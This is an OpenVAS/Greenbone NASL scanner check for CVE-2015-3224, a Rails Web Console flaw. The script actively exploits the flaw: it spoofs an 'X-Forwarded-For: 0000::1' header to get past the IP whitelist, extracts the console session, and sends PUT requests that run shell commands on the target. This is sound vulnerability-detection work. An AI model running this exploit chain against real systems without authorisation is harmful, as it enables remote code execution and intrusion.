Ruby on Rails Web Console IP Whitelist Bypass RCE Vulnerability

# Copyright (C) 2020 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108719");
  script_version("2021-08-12T06:00:50+0000");
  script_cve_id("CVE-2015-3224");
  script_tag(name:"last_modification", value:"2021-08-12 06:00:50 +0000 (Thu, 12 Aug 2021)");
  script_tag(name:"creation_date", value:"2020-03-09 12:45:13 +0000 (Mon, 09 Mar 2020)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_name("Ruby on Rails Web Console IP Whitelist Bypass RCE Vulnerability");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2020 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 3000);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"The Web Console tool as used in Ruby on Rails is prone to a
  remote code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends crafted HTTP GET and PUT requests to determine if the
  remote host is vulnerable.");

  script_tag(name:"insight", value:"The request.rb does not properly restrict the use of
  X-Forwarded-For headers in determining a client's IP address.");

  script_tag(name:"impact", value:"This flaw allows remote attackers to bypass the whitelisted_ips
  protection mechanism via a crafted request.");

  script_tag(name:"affected", value:"Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x.");

  script_tag(name:"solution", value:"Update to Web Console version 2.1.3 or later.");

  script_xref(name:"URL", value:"https://github.com/rails/web-console/releases/tag/v2.1.3");
  script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2015/06/16/18");
  script_xref(name:"URL", value:"https://github.com/0xEval/cve-2015-3224/blob/master/cve-2015-3224.py");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("url_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port( default:3000 );

vtstrings = get_vt_strings();
url = "/" + vtstrings["lowercase_rand"];

req = http_get_req( port:port, url:url, add_headers:make_array( "X-Forwarded-For", "0000::1" ) );
res = http_keepalive_send_recv( port:port, data:req );
if( ! res || res !~ "data-(remote-path|mount-point)=" )
  exit( 0 );

# <div id="console"
#   data-mount-point='/__web_console'
#   data-session-id='cfd55f856971b9e70ac255159bc01451'
#   data-prompt-label='>> '>
# </div>
path_info = eregmatch( string:res, pattern:'data-(remote-path|mount-point)=["\']([^"\']+)["\']', icase:FALSE );
if( ! path_info )
  exit( 0 );

path = path_info[2];
if( path[0] != "/" )
  path = "/" + path;

sess = eregmatch( string:res, pattern:'data-session-id=["\']([^"\']+)["\']', icase:FALSE );
if( sess )
  path += "/repl_sessions/" + sess[1];

cmds = exploit_commands();
headers = make_array( "X-Forwarded-For", "0000::1", "X-Requested-With", "XMLHttpRequest", "Content-Type", "application/x-www-form-urlencoded" );
accept_header = "application/vnd.web-console.v2";

foreach pattern( keys( cmds ) ) {

  cmd = cmds[pattern];
  data = "input=" + urlencode( str:"`" + cmd + "`" );
  req2 = http_post_put_req( port:port, data:data, url:path, accept_header:accept_header, add_headers:headers, method:"PUT" );
  res2 = http_keepalive_send_recv( port:port, data:req2 );
  if( ! res2 )
    continue;

  if( res2 =~ "^HTTP/1\.[01] 200" && found = egrep( string:res2, pattern:pattern, icase:TRUE ) ) {
    info['HTTP "X-Forwarded-For" header'] = "0000::1";
    info['HTTP Method'] = "GET";
    info['URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );
    foreach header( keys( headers ) ) {
      info2['HTTP "' + header + '" header'] = headers[header];
    }
    info2['HTTP Method'] = "PUT";
    info2['HTTP "Accept" header'] = accept_header;
    info2['URL'] = http_report_vuln_url( port:port, url:path, url_only:TRUE );
    info2['HTTP "POST" body'] = data;

    report  = 'By doing the following HTTP request:\n\n';
    report += text_format_table( array:info ) + '\n\n';
    report += 'it was possible to bypass the authententication and to gather a valid session.\n\n';
    report += 'With a follow-up HTTP request:\n\n';
    report += text_format_table( array:info2 ) + '\n\n';
    report += 'it was possible to execute the "' + cmd + '" command on the target host.';
    report += '\n\nResult: ' + chomp( found );
    expert_info  = 'Request 1:\n\n' + req + '\n\nResponse 1:\n\n' + res;
    expert_info += '\n\nRequest 2:\n\n'+ req2 + '\n\nResponse 2:\n\n' + res2;
    security_message( port:port, data:report, expert_info:expert_info );
    exit( 0 );
  }
}

exit( 99 );